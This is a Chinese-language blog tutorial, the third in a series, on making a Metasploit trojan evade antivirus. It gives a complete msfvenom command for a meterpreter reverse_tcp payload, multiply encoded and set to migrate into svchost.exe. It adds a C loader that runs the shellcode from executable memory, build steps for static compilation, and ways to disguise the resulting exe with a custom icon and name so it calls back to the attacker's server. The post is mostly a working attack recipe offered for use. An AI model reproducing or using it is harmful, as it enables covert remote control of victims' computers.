MSF木马的免杀(三)

目录

MSF木马的免杀


MSF木马的免杀

MSF下输入,生成免杀shellcode

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=x.x.x.x LPORT=8888 -e x86/shikata_ga_nai -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > shellcode.c

这里的 payload 选择 windows/meterpreter/reverse_tcp,LHOST和LPORT分别填VPS的地址和MSF监听的端口,-e x86/shikata_ga_nai -i 15是用x86/shikata_ga_nai 编码 15 次(建议编码12次以上),而 PrependMigrate=true  PrependMigrateProc=svchost.exe 使这个程序默认会迁移到 svchost.exe 进程。

MSF木马的免杀(三)_第1张图片

会生成 shellcode.c 文件,打开该文件如图所示:

MSF木马的免杀(三)_第2张图片

然后在VS中新建一个C++项目,我这里在VS2012中新建一个c++的win32项目,然后将下面的代码复制进去,再将shellcode.c里面的那些复制到shellcode的位置。

#include
#include

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[]= 这里填shellcode;
void main(){
     LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

如下,点击生成解决方案,之后会生成一个exe程序

MSF木马的免杀(三)_第3张图片

生成的exe程序即是免杀之后的木马程序。还可以进行其他伪装,比如修改图标,修改程序名等。

MSF木马的免杀(三)_第4张图片

如果直接把该程序拿到win7或server2008之类的虚拟机去执行,可能会提示缺少dll文件。这是因为我们在编译程序的过程中是使用的动态编译,如果目标机器不存在相关的dll文件就会报此错误。

MSF木马的免杀(三)_第5张图片

解决办法就是我们在编译程序的时候,选择静态编译的方法。静态编译就是在编译可执行文件的时候,将可执行文件需要调用的对应动态链接库(.dll)中的部分提取出来,链接到可执行文件中去,使可执行文件在运行的时候不依赖动态链接库。但是这样使用静态编译的方法可能会导致编译出来的程序会偏大。

静态编译,需要如下配置:

  • 右键项目 -> 属性 -> 配置属性 -> 高级 -> MFC的使用:在静态库中使用MFC
  • 右键项目 -> 属性 -> C/C++ -> 代码生成 -> 运行库:选择 多线程(/MT)
  • 编译时选择Debug  x86

MSF木马的免杀(三)_第6张图片MSF木马的免杀(三)_第7张图片

然后重新 生成——>重新生成解决方案 进行编译。然后在目标机器运行,我们就可以收到弹回的session了。

MSF木马的免杀(三)_第8张图片

如果想对木马加图标的话,右键项目——>添加——>资源

MSF木马的免杀(三)_第9张图片

然后选择icon

MSF木马的免杀(三)_第10张图片

这样就会在程序目录下生成一个icon1.ico文件,我们用自己的ico图标将该文件替换。

MSF木马的免杀(三)_第11张图片

MSF木马的免杀(三)_第12张图片

重新编译,生成的exe程序就是我们指定的图标了。

MSF木马的免杀(三)_第13张图片

注:貌似现在这种免杀方法也会被查杀了

你可能感兴趣的:(免杀专栏)